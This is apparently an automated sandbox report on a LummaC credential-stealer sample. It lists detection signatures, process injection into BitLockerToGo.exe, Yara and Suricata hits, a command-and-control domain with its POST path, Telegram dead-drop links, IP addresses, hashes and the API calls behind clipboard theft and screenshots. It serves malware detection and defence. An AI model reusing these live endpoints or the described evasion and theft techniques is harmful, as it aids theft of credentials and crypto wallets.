Edit tour

Windows Analysis Report
External2.4.exe1.exe

Overview

General Information

Sample name:	External2.4.exe1.exe
Analysis ID:	1633711
MD5:	2827bd97bb778245fccff32ab3f8f69c
SHA1:	77ed291391e5809bcdeec8a549fdeccf51e36ceb
SHA256:	945837960320128c8b37dcabd74b1e754f2281b463d5a3e07c71052106d702bd
Tags:	exeuser-TornadoAV_dev
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

Allocates memory in foreign processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to modify clipboard data

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

External2.4.exe1.exe (PID: 6920 cmdline: "C:\Users\user\Desktop\External2.4.exe1.exe" MD5: 2827BD97BB778245FCCFF32AB3F8F69C)

BitLockerToGo.exe (PID: 6508 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000003.2192573714.0000000002A02000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2192234962.00000000029FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2192860867.0000000002A02000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2192395641.0000000002A01000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1935302584.0000000009E5A000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000003.1740451974.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.1935408641.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1935408641.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000003.00000003.2251312995.0000000002A02000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6508	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.External2.4.exe1.exe.9fc2000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.External2.4.exe1.exe.9f0e000.2.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.External2.4.exe1.exe.9eb4000.3.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
3.2.BitLockerToGo.exe.4c0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.External2.4.exe1.exe.9f0e000.2.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.External2.4.exe1.exe.9f68000.1.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.External2.4.exe1.exe.9f68000.1.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.External2.4.exe1.exe.9f0e000.2.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.External2.4.exe1.exe.9f0e000.2.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.External2.4.exe1.exe.9f68000.1.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.External2.4.exe1.exe.9f68000.1.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T15:34:06.332051+0100	2028371	3	Unknown Traffic	192.168.2.12	49749	149.154.167.99	443	TCP
2025-03-10T15:34:08.248576+0100	2028371	3	Unknown Traffic	192.168.2.12	49752	104.21.77.86	443	TCP
2025-03-10T15:34:10.013872+0100	2028371	3	Unknown Traffic	192.168.2.12	49753	104.21.77.86	443	TCP
2025-03-10T15:34:22.446407+0100	2028371	3	Unknown Traffic	192.168.2.12	49755	104.21.77.86	443	TCP
2025-03-10T15:34:25.448595+0100	2028371	3	Unknown Traffic	192.168.2.12	49757	104.21.77.86	443	TCP
2025-03-10T15:34:28.750249+0100	2028371	3	Unknown Traffic	192.168.2.12	49758	104.21.77.86	443	TCP
2025-03-10T15:34:32.243241+0100	2028371	3	Unknown Traffic	192.168.2.12	49759	104.21.77.86	443	TCP
2025-03-10T15:34:38.460754+0100	2028371	3	Unknown Traffic	192.168.2.12	49760	104.21.77.86	443	TCP
2025-03-10T15:34:43.918273+0100	2028371	3	Unknown Traffic	192.168.2.12	49761	104.21.77.86	443	TCP

HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 65Host: astralconnec.icu

Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.2155957881.0000000004CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: BitLockerToGo.exe, 00000003.00000003.2251724475.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275531521.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2724821311.0000000002A17000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783527524.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251025165.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251707462.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275696801.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2724647805.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2255267647.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2725036828.0000000002A1C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275411375.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2124619777.0000000002A49000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783546985.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/DPowko
Source: BitLockerToGo.exe, 00000003.00000003.2724647805.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783546985.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/DPowkoS
Source: BitLockerToGo.exe, 00000003.00000003.2724821311.0000000002A17000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783527524.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2725036828.0000000002A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/DPowkoT
Source: BitLockerToGo.exe, 00000003.00000003.2275696801.0000000002A0A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275411375.0000000002A0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/DPowkod
Source: BitLockerToGo.exe, 00000003.00000003.2124619777.0000000002A49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/DPowkodr
Source: BitLockerToGo.exe, 00000003.00000003.2189162405.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189290621.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188974931.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188993984.0000000002A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/DPowkoh
Source: BitLockerToGo.exe, 00000003.00000003.2275696801.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275411375.0000000002A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/DPowkoo
Source: BitLockerToGo.exe, 00000003.00000003.2724821311.0000000002984000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783325933.0000000002984000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu/F
Source: BitLockerToGo.exe, 00000003.00000003.2191599242.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275531521.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189162405.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191541472.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190915583.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251025165.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190316370.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189290621.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188974931.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251707462.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188993984.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2724647805.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2255267647.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191243501.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190615035.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783546985.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189605039.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190011888.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu:443/DPowko
Source: BitLockerToGo.exe, 00000003.00000003.2275531521.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155255354.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu:443/DPowkoZ6
Source: BitLockerToGo.exe, 00000003.00000003.2191599242.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189162405.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191541472.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190915583.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251025165.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190316370.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189290621.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155750664.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188974931.0000000002A35000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251707462.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2188993984.0000000002A38000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155716235.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2255267647.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2191243501.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190615035.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2155940610.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2189605039.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2190011888.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu:443/DPowkoq6
Source: BitLockerToGo.exe, 00000003.00000003.2724647805.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783546985.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://astralconnec.icu:443/DPowkot6
Source: BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.
Source: BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696506299400400001.1&ci=1696506299033.12791&cta
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20R
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbmfQq%2B4pbW4pbWfpbX7ReNxR3UIG8zInwYIFIVs9e
Source: BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: BitLockerToGo.exe, 00000003.00000003.1966124627.0000000002984000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/E
Source: BitLockerToGo.exe, 00000003.00000002.2783262785.0000000002958000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1965813823.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/asdawfq
Source: BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029B4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1965813823.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=50f60ad0f8aae032d3_669834293493
Source: BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.orgX-Frame-OptionsALLOW-FROM
Source: BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_cd61a4703a8613be887576f2bd084bcc6f4756dccdbe5062
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: BitLockerToGo.exe, 00000003.00000003.2090007312.0000000004CE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: BitLockerToGo.exe, 00000003.00000003.2157383594.0000000002A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: BitLockerToGo.exe, 00000003.00000003.2156998469.0000000004CEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.5iSPD7jwkDnW
Source: BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.3UfcDFx2ZSAZ
Source: BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000003.00000003.2157072136.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.12:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.86:443 -> 192.168.2.12:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.86:443 -> 192.168.2.12:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.86:443 -> 192.168.2.12:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.86:443 -> 192.168.2.12:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.86:443 -> 192.168.2.12:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.86:443 -> 192.168.2.12:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.86:443 -> 192.168.2.12:49761 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_004FFEC0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

3_2_004FFEC0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_04BF1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

3_2_04BF1000

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_004FFEC0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

3_2_004FFEC0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_005000A0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

3_2_005000A0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1935302584.0000000009E5A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DD96C	3_2_004DD96C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E9100	3_2_004E9100
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EB91B	3_2_004EB91B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F7139	3_2_004F7139
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DE9F0	3_2_004DE9F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EC1A2	3_2_004EC1A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CF1B5	3_2_004CF1B5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004ED1B0	3_2_004ED1B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00504A10	3_2_00504A10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CBA30	3_2_004CBA30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DA2E0	3_2_004DA2E0
